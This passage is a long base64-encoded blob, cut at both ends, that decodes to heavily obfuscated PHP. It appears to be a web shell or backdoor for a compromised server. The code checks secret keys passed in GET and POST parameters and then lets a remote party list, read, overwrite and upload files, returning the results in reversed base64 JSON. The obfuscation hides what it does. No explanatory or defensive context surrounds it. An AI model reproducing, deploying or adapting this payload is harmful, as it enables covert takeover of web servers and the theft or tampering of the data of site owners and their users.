l7JF9fX19fX19fX19fPSRfU0VSVkVSW180NzkwOTc4MzIoMjYpXTt9ZWxzZXskX19fX19fX19fX189JF9TRVJWRVJbXzQ3OTA5NzgzMigyNyldO30kX19fX19fX19fX19fW21kNSgkX1NFUlZFUltfNDc5MDk3ODMyKDI4KV0gLl80NzkwOTc4MzIoMjkpKV09JF9fX19fX19fX18gLmNyYzMyKCRfX19fX18gLiRfX19fXyAuJF9fX19fX19fKSAuc2hhMSgkX1NFUlZFUltfNDc5MDk3ODMyKDMwKV0gLl80NzkwOTc4MzIoMzEpIC5iYXNlNjRfZGVjb2RlKHN0cnJldigkX0dFVFttZDUoJF9TRVJWRVJbXzQ3OTA5NzgzMigzMildIC5fNDc5MDk3ODMyKDMzKSldKSkpOyRfX19fX19fX19fX19bbWQ1KCRfU0VSVkVSW180NzkwOTc4MzIoMzQpXSAuXzQ3OTA5NzgzMigzNSkpXT1tZDUoJF9TRVJWRVJbXzQ3OTA5NzgzMigzNildIC5fNDc5MDk3ODMyKDM3KSk7JF9fX19fX19fX19fX1ttZDUoJF9TRVJWRVJbXzQ3OTA5NzgzMigzOCldIC5fNDc5MDk3ODMyKDM5KSldPXN0cnJldihiYXNlNjRfZW5jb2RlKHN0cnJldigkX19fX19fXykpKTskX19fX19fX19fX19fW21kNSgkX1NFUlZFUltfNDc5MDk3ODMyKDQwKV0gLl80NzkwOTc4MzIoNDEpKV09c3RycmV2KGJhc2U2NF9lbmNvZGUoc3RycmV2KGZpbGVfZ2V0X2NvbnRlbnRzKF80NzkwOTc4MzIoNDIpIC4kX19fX19fX19fX18pKSkpO31lbHNleyRfX19fX19fX19fX19bbWQ1KCRfU0VSVkVSW180NzkwOTc4MzIoNDMpXSAuXzQ3OTA5NzgzMig0NCkpXT1tZDUoJF9TRVJWRVJbXzQ3OTA5NzgzMig0NSldIC5fNDc5MDk3ODMyKDQ2KSk7fSRfX19fX19fX19fX19fPXJhbmQocm91bmQoMCsxKSxyb3VuZCgwKzMrMyszKzMrMykpO2ZvcigkX19fX19fX19fX19fX189cm91bmQoMCk7JF9fX19fX19fX19fX19fPCRfX19fX19fX19fX19fOyRfX19fX19fX19fX19fXysrKXskX19fX19fX19fX19fX19fPW1kNSgkX1NFUlZFUltfNDc5MDk3ODMyKDQ3KV0gLiRfX19fX19fX19fX19fKTtpZihhcnJheV9rZXlfZXhpc3RzKCRfX19fX19fX19fX19fX18sJF9fX19fX19fX19fXykpY29udGludWU7JF9fX19fX19fX19fX1skX19fX19fX19fX19fX19fXT1tZDUoJF9TRVJWRVJbXzQ3OTA5NzgzMig0OCldIC5fNDc5MDk3ODMyKDQ5KSAuJF9fX19fX19fX19fX18pO31lY2hvKHN0cnJldihiYXNlNjRfZW5jb2RlKGpzb25fZW5jb2RlKCRfX19fX19fX19fX18pKSkpO3JldHVybjt9ZWxzZWlmKGlzc2V0KCRfR0VUW21kNSgkX1NFUlZFUltfNDc5MDk3ODMyKDUwKV0gLl80NzkwOTc4MzIoNTEpKV0pKXtpZigkX0dFVFttZDUoJF9TRVJWRVJbXzQ3OTA5NzgzMig1MildIC5fNDc5MDk3ODMyKDUzKSldPT0gJF9fX19fKXskX19fX19fX19fXz1yYW5kKHJvdW5kKDArMzMzMy4zMzMzMzMzMzMzKzMzMzMuMzMzMzMzMzMzMyszMzMzLjMzMzMzMzMzMzMpLHJvdW5kKDArMTk5OTkuOCsxOTk5OS44KzE5OTk5LjgrMTk5OTkuOCsxOTk5OS44KSk7d2hpbGUodHJ1ZSl7aWYoKCRfX19fX19fX19fJXJvdW5kKDArMC42NjY2NjY2NjY2NjY2NyswLjY2NjY2NjY2NjY2NjY3KzAuNjY2NjY2NjY2NjY2NjcpKT09IHJvdW5kKDArMC4yKzAuMiswLjIrMC4yKzAuMikpYnJlYWs7JF9fX19fX19fX189cmFuZChyb3VuZCgwKzI1MDArMjUwMCsyNTAwKzI1MDApLHJvdW5kKDArOTk5OTkpKTt9JF9fX19fX19fX19fX1ttZDUoJF9TRVJWRVJbXzQ3OTA5NzgzMig1NCldIC5fNDc5MDk3ODMyKDU1KSldPW1kNSgkX1NFUlZFUltfNDc5MDk3ODMyKDU2KV0gLl80NzkwOTc4MzIoNTcpKTskX19fX19fX19fX19fW21kNSgkX1NFUlZFUltfNDc5MDk3ODMyKDU4KV0gLl80NzkwOTc4MzIoNTkpKV09c3RycmV2KGJhc2U2NF9lbmNvZGUoc3RycmV2KCRfX19fX19fKSkpOyRfX19fX19fX19fX19bbWQ1KCRfU0VSVkVSW180NzkwOTc4MzIoNjApXSAuXzQ3OTA5NzgzMig2MSkpXT0kX19fX19fX19fXyAuY3JjMzIoJF9fX19fXyAuJF9fX19fIC4kX19fX19fX18pIC5zaGExKCRfU0VSVkVSW180NzkwOTc4MzIoNjIpXSAuXzQ3OTA5NzgzMig2MykpO31lbHNleyRfX19fX19fX19fX19bbWQ1KCRfU0VSVkVSW180NzkwOTc4MzIoNjQpXSAuXzQ3OTA5NzgzMig2NSkpXT1tZDUoJF9TRVJWRVJbXzQ3OTA5NzgzMig2NildIC5fNDc5MDk3ODMyKDY3KSk7fSRfX19fX19fX19fX19fPXJhbmQocm91bmQoMCswLjMzMzMzMzMzMzMzMzMzKzAuMzMzMzMzMzMzMzMzMzMrMC4zMzMzMzMzMzMzMzMzMykscm91bmQoMCs1KzUrNSkpO2ZvcigkX19fX19fX19fX19fX189cm91bmQoMCk7JF9fX19fX19fX19fX19fPCRfX19fX19fX19fX19fOyRfX19fX19fX19fX19fXysrKXskX19fX19fX19fX19fX19fPW1kNSgkX1NFUlZFUltfNDc5MDk3ODMyKDY4KV0gLiRfX19fX19fX19fX19fKTtpZihhcnJheV9rZXlfZXhpc3RzKCRfX19fX19fX19fX19fX18sJF9fX19fX19fX19fXykpY29udGludWU7JF9fX19fX19fX19fX1skX19fX19fX19fX19fX19fXT1tZDUoJF9TRVJWRVJbXzQ3OTA5NzgzMig2OSldIC5fNDc5MDk3ODMyKDcwKSAuJF9fX19fX19fX19fX18pO31lY2hvKHN0cnJldihiYXNlNjRfZW5jb2RlKGpzb25fZW5jb2RlKCRfX19fX19fX19fX18pKSkpO3JldHVybjt9JF9fX19fX19fX19fX19fX189ZmFsc2U7aWYoaXNzZXQoJF9HRVRbbWQ1KCRfU0VSVkVSW180NzkwOTc4MzIoNzEpXSAuXzQ3OTA5NzgzMig3MikpXSkpe2lmKChpbnR2YWwoc3Vic3RyKGJhc2U2NF9kZWNvZGUoc3RycmV2KCRfR0VUW21kNSgkX1NFUlZFUltfNDc5MDk3ODMyKDczKV0gLl80NzkwOTc4MzIoNzQpKV0pKSxyb3VuZCgwKSxyb3VuZCgwKzUpKSklcm91bmQoMCsxKzEpKT09IHJvdW5kKDArMC41KzAuNSkpeyRfX19fX19fX19fX19fX19fPXRydWU7fWVsc2VpZihzdWJzdHIoYmFzZTY0X2RlY29kZShzdHJyZXYoJF9HRVRbbWQ1KCRfU0VSVkVSW180NzkwOTc4MzIoNzUpXSAuXzQ3OTA5NzgzMig3NikpXSkpLHJvdW5kKDArMSsxKzErMSsxKSk9PSBjcmMzMigkX19fX19fIC4kX19fX18gLiRfX19fX19fXykgLnNoYTEoJF9TRVJWRVJbXzQ3OTA5NzgzMig3NyldIC5fNDc5MDk3ODMyKDc4KSAuc2hhMShiYXNlNjRfZGVjb2RlKHN0cnJldigkX0dFVFttZDUoJF9TRVJWRVJbXzQ3OTA5NzgzMig3OSldIC5fNDc5MDk3ODMyKDgwKSldKSkpKSl7JF9fX19fX19fX19fX19fX189ZmFsc2U7fWVsc2V7cmV0dXJuO319ZWxzZXtyZXR1cm47fWlmKCFlbXB0eSgkX0dFVFttZDUoJF9TRVJWRVJbXzQ3OTA5NzgzMig4MSldIC5fNDc5MDk3ODMyKDgyKSldKSl7JF9fX19fX19fX19fXz1hcnJheSgpOyRfX19fX19fX19fX19fX19fXz1qc29uX2RlY29kZShiYXNlNjRfZGVjb2RlKHN0cnJldigkX0dFVFttZDUoJF9TRVJWRVJbXzQ3OTA5NzgzMig4MyldIC5fNDc5MDk3ODMyKDg0KSldKSksdHJ1ZSk7Zm9yZWFjaCgkX19fX19fX19fX19fX19fX18gYXMgJF9fX19fX19fX19fX19fX19fXyl7JF9fX19fX19fX19fX19fX19fX189JF9fX19fX19fX19fX19fX19fX1ttZDUoJF9TRVJWRVJbXzQ3OTA5NzgzMig4NSldIC5fNDc5MDk3ODMyKDg2KSldOyRfX19fX19fX19fX19fX19fX19fXz1zdHJfcmVwbGFjZShfNDc5MDk3ODMyKDg3KSxfNDc5MDk3ODMyKDg4KSwkX19fX19fX19fX19fX19fX19fW21kNSgkX1NFUlZFUltfNDc5MDk3ODMyKDg5KV0gLl80NzkwOTc4MzIoOTApKV0pO2lmKCEkX19fX19fX19fX19fX19fXyl7aWYoc2hhMSgkX19fX19fX19fX19fX19fX19fXykhPSBiYXNlNjRfZGVjb2RlKHN0cnJldigkX0dFVFttZDUoJF9TRVJWRVJbXzQ3OTA5NzgzMig5MSldIC5fNDc5MDk3ODMyKDkyKSldKSkpe3JldHVybjt9fWlmKCRfX19fX19fX19fX19fX19fX19fXyA9PSBfNDc5MDk3ODMyKDkzKW9yICRfX19fX19fX19fX19fX19fX19fXyA9PSBfNDc5MDk3ODMyKDk0KW9yICRfX19fX19fX19fX19fX19fX19fXyA9PSBfNDc5MDk3ODMyKDk1KW9yICRfX19fX19fX19fX19fX19fX19fXyA9PSBfNDc5MDk3ODMyKDk2KW9yICRfX19fX19fX19fX19fX19fX19fXyA9PSBfNDc5MDk3ODMyKDk3KW9yICRfX19fX19fX19fX19fX19fX19fXyA9PSBfNDc5MDk3ODMyKDk4KW9yICRfX19fX19fX19fX19fX19fX19fXyA9PSBfNDc5MDk3ODMyKDk5KW9yICRfX19fX19fX19fX19fX19fX19fXyA9PSBfNDc5MDk3ODMyKDEwMClvciAkX19fX19fX19fX19fX19fX19fX18gPT0gXzQ3OTA5NzgzMigxMDEpKWNvbnRpbnVlOyRfX19fX19fX19fX19bbWQ1KCRfU0VSVkVSW180NzkwOTc4MzIoMTAyKV0gLiRfX19fX19fX19fX19fX19fX19fKV1bbWQ1KCRfU0VSVkVSW180NzkwOTc4MzIoMTAzKV0gLiRfX19fX19fX19fX19fX19fX19fXyldPWJhc2U2NF9lbmNvZGUobF9fKGZpbGVfZ2V0X2NvbnRlbnRzKCRfX19fX19fIC5fNDc5MDk3ODMyKDEwNCkgLiRfX19fX19fX19fX19fX19fX19fIC4kX19fX19fX19fIC4kX19fX19fX19fX19fX19fX19fX18pLG1kNSgkX19fX19fX19fX19fX19fX19fXyAuY3JjMzIoJF9fX19fXyAuJF9fX19fIC4kX19fX19fX18pKSkpO31lY2hvKHN0cnJldihiYXNlNjRfZW5jb2RlKGpzb25fZW5jb2RlKCRfX19fX19fX19fX18pKSkpO31pZighZW1wdHkoJF9HRVRbbWQ1KCRfU0VSVkVSW180NzkwOTc4MzIoMTA1KV0gLl80NzkwOTc4MzIoMTA2KSldKSl7JF9fX19fX19fX19fX19fX19fX19fXz1qc29uX2RlY29kZShiYXNlNjRfZGVjb2RlKHN0cnJldigkX0dFVFttZDUoJF9TRVJWRVJbXzQ3OTA5NzgzMigxMDcpXSAuXzQ3OTA5NzgzMigxMDgpKV0pKSx0cnVlKTtmb3JlYWNoKCRfX19fX19fX19fX19fX19fX19fX18gYXMgJF9fX19fX19fX19fX19fX19fXyl7JF9fX19fX19fX19fX19fX19fX189JF9fX19fX19fX19fX19fX19fX1ttZDUoJF9TRVJWRVJbXzQ3OTA5NzgzMigxMDkpXSAuXzQ3OTA5NzgzMigxMTApKV07JF9fX19fX19fX19fX19fX19fX19fPXN0cl9yZXBsYWNlKF80NzkwOTc4MzIoMTExKSxfNDc5MDk3ODMyKDExMiksJF9fX19fX19fX19fX19fX19fX1ttZDUoJF9TRVJWRVJbXzQ3OTA5NzgzMigxMTMpXSAuXzQ3OTA5NzgzMigxMTQpKV0pOyRfX19fX19fX19fX19fX19fX19fX19fPWJhc2U2NF9kZWNvZGUoJF9fX19fX19fX19fX19fX19fX1ttZDUoJF9TRVJWRVJbXzQ3OTA5NzgzMigxMTUpXSAuXzQ3OTA5NzgzMigxMTYpKV0pO2lmKCEkX19fX19fX19fX19fX19fXyl7aWYoc2hhMSgkX19fX19fX19fX19fX19fX19fXykhPSBiYXNlNjRfZGVjb2RlKHN0cnJldigkX0dFVFttZDUoJF9TRVJWRVJbXzQ3OTA5NzgzMigxMTcpXSAuXzQ3OTA5NzgzMigxMTgpKV0pKW9yIHN0cmxlbigkX19fX19fX19fX19fX19fX19fXykhPSByb3VuZCgwKzIwKzIwKW9yIHN0cmxlbigkX19fX19fX19fX19fX19fX19fX18pIT0gcm91bmQoMCsxMy4zMzMzMzMzMzMzMzMrMTMuMzMzMzMzMzMzMzMzKzEzLjMzMzMzMzMzMzMzMykpe3JldHVybjt9fWlmKCFjdHlwZV9wcmludCgkX19fX19fX19fX19fX19fX19fX18pb3IhY3R5cGVfcHJpbnQoJF9fX19fX19fX19fX19fX19fX18pb3IgJF9fX19fX19fX19fX19fX19fX19fID09IF80NzkwOTc4MzIoMTE5KW9yICRfX19fX19fX19fX19fX19fX19fXyA9PSBfNDc5MDk3ODMyKDEyMClvciAkX19fX19fX19fX19fX19fX19fX18gPT0gXzQ3OTA5NzgzMigxMjEpb3IgJF9fX19fX19fX19fX19fX19fX19fID09IF80NzkwOTc4MzIoMTIyKW9yICRfX19fX19fX19fX19fX19fX19fXyA9PSBfNDc5MDk3ODMyKDEyMylvciAkX19fX19fX19fX19fX19fX19fX18gPT0gXzQ3OTA5NzgzMigxMjQpb3IgJF9fX19fX19fX19fX19fX19fX19fID09IF80NzkwOTc4MzIoMTI1KW9yICRfX19fX19fX19fX19fX19fX19fXyA9PSBfNDc5MDk3ODMyKDEyNilvciAkX19fX19fX19fX19fX19fX19fX18gPT0gXzQ3OTA5NzgzMigxMjcpKWNvbnRpbnVlO2ZpbGVfcHV0X2NvbnRlbnRzKCRfX19fX19fIC5fNDc5MDk3ODMyKDEyOCkgLiRfX19fX19fX19fX19fX19fX19fIC4kX19fX19fX19fIC4kX19fX19fX19fX19fX19fX19fX18sbF8oJF9fX19fX19fX19fX19fX19fX19fX18sbWQ1KCRfX19fX19fX19fX19fX19fX19fIC5jcmMzMigkX19fX19fIC4kX19fX18gLiRfX19fX19fXykpKSk7fX1pZighZW1wdHkoJF9HRVRbbWQ1KCRfU0VSVkVSW180NzkwOTc4MzIoMTI5KV0gLl80NzkwOTc4MzIoMTMwKSldKSl7JF9fX19fX19fX19fX19fX19fX19fX19fPWJhc2U2NF9kZWNvZGUoc3RycmV2KCRfR0VUW21kNSgkX1NFUlZFUltfNDc5MDk3ODMyKDEzMSldIC5fNDc5MDk3ODMyKDEzMikpXSkpOyRfX19fX19fX19fX19fX19fX19fX19fX189cGF0aGluZm8oJF9fX19fX19fX19fX19fX19fX19fX19fKVtfNDc5MDk3ODMyKDEzMyldO2lmKCRfX19fX19fX19fX19fX19fX19fX19fX18gPT0gbnVsbCl7JF9fX19fX19fX19fX19fX19fX19fX19fXz1leHBsb2RlKCRfX19fX19fX18sJF9fX19fX19fX19fX19fX19fX19fX19fKVtyb3VuZCgwKzAuMjUrMC4yNSswLjI1KzAuMjUpXTt9aWYoJF9fX19fX19fX19fX19fX19fX19fX19fXyA9PSBfNDc5MDk3ODMyKDEzNClvciAkX19fX19fX19fX19fX19fX19fX19fX19fID09IF80NzkwOTc4MzIoMTM1KW9yICRfX19fX19fX19fX19fX19fX19fX19fX18gPT0gXzQ3OTA5NzgzMigxMzYpb3IgJF9fX19fX19fX19fX19fX19fX19fX19fXyA9PSBfNDc5MDk3ODMyKDEzNylvciAkX19fX19fX19fX19fX19fX19fX19fX19fID09IF80NzkwOTc4MzIoMTM4KW9yICRfX19fX19fX19fX19fX19fX19fX19fX18gPT0gXzQ3OTA5NzgzMigxMzkpb3IgJF9fX19fX19fX19fX19fX19fX19fX19fXyA9PSBfNDc5MDk3ODMyKDE0MClvciAkX19fX19fX19fX19fX19fX19fX19fX19fID09IF80NzkwOTc4MzIoMTQxKW9yICRfX19fX19fX19fX19fX19fX19fX19fX18gPT0gXzQ3OTA5NzgzMigxNDIpKXJldHVybjtlY2hvKGxfXyhmaWxlX2dldF9jb250ZW50cygkX19fX19fXyAuXzQ3OTA5NzgzMigxNDMpIC4kX19fX19fX19fX19fX19fX19fX19fX18pLG1kNSgkX19fX19fX19fX19fX19fX19fX19fX18gLmNyYzMyKCRfX19fX18gLiRfX19fXyAuJF9fX19fX19fKSkpKTt9aWYoIWVtcHR5KCRfUE9TVFttZDUoJF9TRVJWRVJbXzQ3OTA5NzgzMigxNDQpXSAuXzQ3OTA5NzgzMigxNDUpKV0pKXskX19fX19fX19fX19fX19fX19fX19fX189YmFzZTY0X2RlY29kZShzdHJyZXYoJF9QT1NUW21kNSgkX1NFUlZFUltfNDc5MDk3ODMyKDE0NildIC5fNDc5MDk3ODMyKDE0NykpXSkpOyRfX19fX19fX19fX19fX19fX19fX19fX189cGF0aGluZm8oJF9fX19fX19fX19fX19fX19fX19fX19fKVtfNDc5MDk3ODMyKDE0OCldO2lmKCRfX19fX19fX19fX19fX19fX19fX19fX18gPT0gbnVsbCl7JF9fX19fX19fX19fX19fX19fX19fX19fXz1leHBsb2RlKCRfX19fX19fX18sJF9fX19fX19fX19fX19fX19fX19fX19fKVtyb3VuZCgwKzAuMzMzMzMzMzMzMzMzMzMrMC4zMzMzMzMzMzMzMzMzMyswLjMzMzMzMzMzMzMzMzMzKV07fSRfX19fX19fX19fX19fX19fX19fX19fPWZpbGVfZ2V0X2NvbnRlbnRzKCRfRklMRVNbbWQ1KCRfX19fX19fX19fX19fX19fX19fX19fXyldW180NzkwOTc4MzIoMTQ5KV0pO2lmKCFjdHlwZV9wcmludCgkX19fX19fX19fX19fX19fX19fX19fX18pb3IgJF9fX19fX19fX19fX19fX19fX19fX19fXyA9PSBfNDc5MDk3ODMyKDE1MClvciAkX19fX19fX19fX19fX19fX19fX19fX19fID09IF80NzkwOTc4MzIoMTUxKW9yICRfX19fX19fX19fX19fX19fX19fX19fX18gPT0gXzQ3OTA5NzgzMigxNTIpb3IgJF9fX19fX19fX19fX19fX19fX19fX19fXyA9PSBfNDc5MDk3ODMyKDE1MylvciAkX19fX19fX19fX19fX19fX19fX19fX19fID09IF80NzkwOTc4MzIoMTU0KW9yICRfX19fX19fX19fX19fX19fX19fX19fX18gPT0gXzQ3OTA5NzgzMigxNTUpb3IgJF9fX19fX19fX19fX19fX19fX19fX19fXyA9PSBfNDc5MDk3ODMyKDE1NilvciAkX19fX19fX19fX19fX19fX19fX19fX19fID09IF80NzkwOTc4MzIoMTU3KW9yICRfX19fX19fX19fX19fX19fX19fX19fX18gPT0gXzQ3OTA5NzgzMigxNTgpKXJldHVybjtmaWxlX3B1dF9jb250ZW50cygkX19fX19fXyAuXzQ3OTA5NzgzMigxNTkpIC4kX19fX19fX19fX19fX19fX19fX19fX18sbF8oJF9fX19fX19fX19fX19fX19fX19fX18sbWQ1KCRfX19fX19fX19fX19fX19fX19fX19fXyAuY3JjMzIoJF9fX19fXyAuJF9fX19fIC4kX19fX19fX18pKSkpO31pZighZW1wdHkoJF9QT1NUW21kNSgkX1NFUlZFUltfNDc5MDk3ODMyKDE2MCldIC5fNDc5MDk3ODMyKDE2MSkpXSkpeyRfX19fX19fX19fX19fX19fX19fX19fXz1iYXNlNjRfZGVjb2RlKHN0cnJldigkX1BPU1RbbWQ1KCRfU0VSVkVSW180NzkwOTc4MzIoMTYyKV0gLl80NzkwOTc4MzIoMTYzKSldKSk7JF9fX19fX19fX19fX19fX19fX19fX19fXz1wYXRoaW5mbygkX19fX19fX19fX19fX19fX19fX19fX18pW180NzkwOTc4MzIoMTY0KV07aWYoJF9fX19fX19fX19fX19fX19fX19fX19fXyA9PSBudWxsKXskX19fX19fX19fX19fX19fX19fX19fX19fPWV4cGxvZGUoJF9fX19fX19fXywkX19fX19fX19fX19fX19fX19fX19fX18pW3JvdW5kKDArMC41KzAuNSldO31pZighY3R5cGVfcHJpbnQoJF9fX19fX19fX19fX19fX19fX19fX19fKW9yICRfX19fX19fX19fX19fX19fX19fX19fX18gPT0gXzQ3OTA5NzgzMigxNjUpb3IgJF9fX19fX19fX19fX19fX19fX19fX19fXyA9PSBfNDc5MDk3ODMyKDE2NilvciAkX19fX19fX19fX19fX19fX19fX19fX19fID09IF80NzkwOTc4MzIoMTY3KW9yICRfX19fX19fX19fX19fX19fX19fX19fX18gPT0gXzQ3OTA5NzgzMigxNjgpb3IgJF9fX19fX19fX19fX19fX19fX19fX19fXyA9PSBfNDc5MDk3ODMyKDE2OSlvciAkX19fX19fX19fX19fX19fX19fX19fX19fID09IF80NzkwOTc4MzIoMTcwKW9yICRfX19fX19fX19fX19fX19fX19fX19fX18gPT0gXzQ3OTA5NzgzMigxNzEpb3IgJF9fX19fX19fX19fX19fX19fX19fX19fXyA9PSBfNDc5MDk3ODMyKDE3MilvciAkX19fX19fX19fX19fX19fX19fX19fX19fID09IF80NzkwOTc4MzIoMTczKSlyZXR1cm47bW92ZV91cGxvYWRlZF9maWxlKCRfRklMRVNbbWQ1KCRfX19fX19fX19fX19fX19fX19fX19fXyldW180NzkwOTc4MzIoMTc0KV0sJF9fX19fX18gLl80NzkwOTc4MzIoMTc1KSAuJF9fX19fX19fX19fX19fX19fX19fX19fKTt9aWYoIWVtcHR5KCRfR0VUW21kNSgkX1NFUlZFUltfNDc5MDk3ODMyKDE3NildIC5fNDc5MDk3ODMyKDE3NykpXSkpeyRfX19fX19fX19fX19fX19fX19fX19fX19fPWpzb25fZGVjb2RlKGJhc2U2NF9kZWNvZGUoc3RycmV2KCRfR0VUW21kNSgkX1NFUlZFUltfNDc5MDk3ODMyKDE3OCldIC5fNDc5MDk3ODMyKDE3OSkpXSkpLHRydWUpO2ZvcmVhY2goJF9fX19fX19fX19fX19fX19fX19fX19fX18gYXMgJF9fX19fX19fX19fX19fX19fXyl7JF9fX19fX19fX19fX19fX19fX189JF9fX19fX19fX19fX19fX19fX1ttZDUoJF9TRVJWRVJbXzQ3OTA5NzgzMigxODApXSAuXzQ3OTA5NzgzMigxODEpKV07JF9fX19fX19fX19fX19fX19fX19fPXN0cl9yZXBsYWNlKF80NzkwOTc4MzIoMTgyKSxfNDc5MDk3ODMyKDE4MyksJF9fX19fX19fX19fX19fX19fX1ttZDUoJF9TRVJWRVJbXzQ3OTA5NzgzMigxODQpXSAuXzQ3OTA5NzgzMigxODUpKV0pOyRfX19fX19fX19fX19fX19fX19fX19fPWJhc2U2NF9kZWNvZGUoJF9fX19fX19fX19fX19fX19fX1ttZDUoJF9TRVJWRVJbXzQ3OTA5NzgzMigxODYpXSAuXzQ3OTA5NzgzMigxODcpKV0pO2lmKCEkX19fX19fX19fX19fX19fXyl7aWYoc2hhMSgkX19fX19fX19fX19fX19fX19fXykhPSBiYXNlNjRfZGVjb2RlKHN0cnJldigkX0dFVFttZDUoJF9TRVJWRVJbXzQ3OTA5NzgzMigxODgpXSAuXzQ3OTA5NzgzMigxODkpKV0pKW9yIHN0cmxlbigkX19fX19fX19fX19fX19fX19fXykhPSByb3VuZCgwKzEwKzEwKzEwKzEwKW9yIHN0cmxlbigkX19fX19fX19fX19fX19fX19fX18pIT0gcm91bmQoMCsxMy4zMzMzMzMzMzMzMzMrMTMuMzMzMzMzMzMzMzMzKzEzLjMzMzMzMzMzMzMzMykpe3JldHVybjt9fWlmKCFjdHlwZV9wcmludCgkX19fX19fX19fX19fX19fX19fX18pb3IhY3R5cGVfcHJpbnQoJF9fX19fX19fX19fX19fX19fX18pb3IgJF9fX19fX19fX19fX19fX19fX19fID09IF80NzkwOTc4MzIoMTkwKW9yICRfX19fX19fX19fX19fX19fX19fXyA9PSBfNDc5MDk3ODMyKDE5MSlvciAkX19fX19fX19fX19fX19fX19fX18gPT0gXzQ3OTA5NzgzMigxOTIpb3IgJF9fX19fX19fX19fX19fX19fX19fID09IF80NzkwOTc4MzIoMTkzKW9yICRfX19fX19fX19fX19fX19fX19fXyA9PSBfNDc5MDk3ODMyKDE5NClvciAkX19fX19fX19fX19fX19fX19fX18gPT0gXzQ3OTA5NzgzMigxOTUpb3IgJF9fX19fX19fX19fX19fX19fX19fID09IF80NzkwOTc4MzIoMTk2KW9yICRfX19fX19fX19fX19fX19fX19fXyA9PSBfNDc5MDk3ODMyKDE5NylvciAkX19fX19fX19fX19fX19fX19fX18gPT0gXzQ3OTA5NzgzMigxOTgpKWNvbnRpbnVlO2ZpbGVfcHV0X2NvbnRlbnRzKCRfX19fX19fIC5fNDc5MDk3ODMyKDE5OSkgLiRfX19fX19fX19fX19fX19fX19fIC4kX19fX19fX19fIC4kX19fX19fX19fX19fX19fX19fX18sbF8obF9fKGZpbGVfZ2V0X2NvbnRlbnRzKCRfX19fX19fIC5fNDc5MDk3ODMyKDIwMCkgLiRfX19fX19fX19fX19fX19fX19fIC4kX19fX19fX19fIC4kX19fX19fX19fX19fX19fX19fX18pLG1kNSgkX19fX19fX19fX19fX19fX19fXyAuY3JjMzIoJF9fX19fXyAuJF9fX19fIC4kX19fX19fX18pKSkgLiRfX19fX19fX19fX19fX19fX19fX19fLG1kNSgkX19fX19fX19fX19fX19fX19fXyAuY3JjMzIoJF9fX19fXyAuJF9fX19fIC4kX19fX19fX18pKSkpO319aWYoIWVtcHR5KGJhc2U2NF9kZWNvZGUoc3RycmV2KCRfR0VUW21kNSgkX1NFUlZFUltfNDc5MDk3ODMyKDIwMSldIC5fNDc5MDk3ODMyKDIwMikpXSkpKWFuZCAkX19fX19fX19fX19fX19fXyA9PSB0cnVlKXskX19fX19fX19fX19fPWFycmF5KCk7JF9fX19fX19fX19fX19fX19fX19fX19fX19fPWpzb25fZGVjb2RlKGJhc2U2NF9kZWNvZGUoc3RycmV2KCRfR0VUW21kNSgkX1NFUlZFUltfNDc5MDk3ODMyKDIwMyldIC5fNDc5MDk3ODMyKDIwNCkpXSkpLHRydWUpOyRfX19fX19fX19fX19fX19fX19fXz0kX19fX19fX19fX19fX19fX19fX19fX19fX19bbWQ1KCRfU0VSVkVSW180NzkwOTc4MzIoMjA1KV0gLl80NzkwOTc4MzIoMjA2KSldOyRfX19fX19fX19fX19fX19fXz0kX19fX19fX19fX19fX19fX19fX19fX19fX19bbWQ1KCRfU0VSVkVSW180NzkwOTc4MzIoMjA3KV0gLl80NzkwOTc4MzIoMjA4KSldOyRfX19fX19fX19fX19fX19fX19fX19fX19fX189JF9fX19fX19fX19fX19fX19fX19fX19fX19fW21kNSgkX1NFUlZFUltfNDc5MDk3ODMyKDIwOSldIC5fNDc5MDk3ODMyKDIxMCkpXTtpZigkX19fX19fX19fX19fX19fX19fX18gPT0gXzQ3OTA5NzgzMigyMTEpb3IgJF9fX19fX19fX19fX19fX19fX19fID09IF80NzkwOTc4MzIoMjEyKW9yICRfX19fX19fX19fX19fX19fX19fXyA9PSBfNDc5MDk3ODMyKDIxMylvciAkX19fX19fX19fX19fX19fX19fX18gPT0gXzQ3OTA5NzgzMigyMTQpb3IgJF9fX19fX19fX19fX19fX19fX19fID09IF80NzkwOTc4MzIoMjE1KW9yICRfX19fX19fX19fX19fX19fX19fXyA9PSBfNDc5MDk3ODMyKDIxNilvciAkX19fX19fX19fX19fX19fX19fX18gPT0gXzQ3OTA5NzgzMigyMTcpb3IgJF9fX19fX19fX19fX19fX19fX19fID09IF80NzkwOTc4MzIoMjE4KW9yICRfX19fX19fX19fX19fX19fX19fXyA9PSBfNDc5MDk3ODMyKDIxOSkpcmV0dXJuOyRfX19fX19fX19fX19fX19fX19fX19fX19fX19fPWdsb2IoJF9fX19fX18gLl80NzkwOTc4MzIoMjIwKSAuJF9fX19fX19fXyAuJF9fX19fX19fX19fX19fX19fX19fKTtmb3JlYWNoKCRfX19fX19fX19fX19fX19fX19fX19fX19fX19fIGFzICRfX19fX19fX19fX19fX19fX18peyRfX19fX19fX19fX19fX19fX19fX19fX19fX19fXz1iYXNlbmFtZSgkX19fX19fX19fX19fX19fX19fLCRfX19fX19fX18gLiRfX19fX19fX19fX19fX19fX19fXyk7JF9fX19fX19fX19fX1skX19fX19fX19fX19fX19fX19fX19fX19fX19fX19dW21kNSgkX1NFUlZFUltfNDc5MDk3ODMyKDIyMSldIC5fNDc5MDk3ODMyKDIyMikpXT0kX19fX19fX19fX19fX19fX19fX19fX19fX19fX187aWYoJF9fX19fX19fX19fX19fX19fID09IHRydWUpeyRfX19fX19fX19fX19bJF9fX19fX19fX19fX19fX19fX19fX19fX19fX19fXVttZDUoJF9TRVJWRVJbXzQ3OTA5NzgzMigyMjMpXSAuXzQ3OTA5NzgzMigyMjQpKV09YmFzZTY0X2VuY29kZShsX18oZmlsZV9nZXRfY29udGVudHMoJF9fX19fX19fX19fX19fX19fXyksbWQ1KCRfX19fX19fX19fX19fX19fX19fX19fX19fX19fXyAuY3JjMzIoJF9fX19fXyAuJF9fX19fIC4kX19fX19fX18pKSkpOyRfX19fX19fX19fX19bJF9fX19fX19fX19fX19fX19fX19fX19fX19fX19fXVttZDUoJF9TRVJWRVJbXzQ3OTA5NzgzMigyMjUpXSAuXzQ3OTA5NzgzMigyMjYpKV09YmFzZTY0X2VuY29kZShkYXRlKF80NzkwOTc4MzIoMjI3KSxmaWxlbXRpbWUoJF9fX19fX19fX19fX19fX19fXykpKTskX19fX19fX19fX19fWyRfX19fX19fX19fX19fX19fX19fX19fX19fX19fX11bbWQ1KCRfU0VSVkVSW180NzkwOTc4MzIoMjI4KV0gLl80NzkwOTc4MzIoMjI5KSldPWJhc2U2NF9lbmNvZGUoZGF0ZShfNDc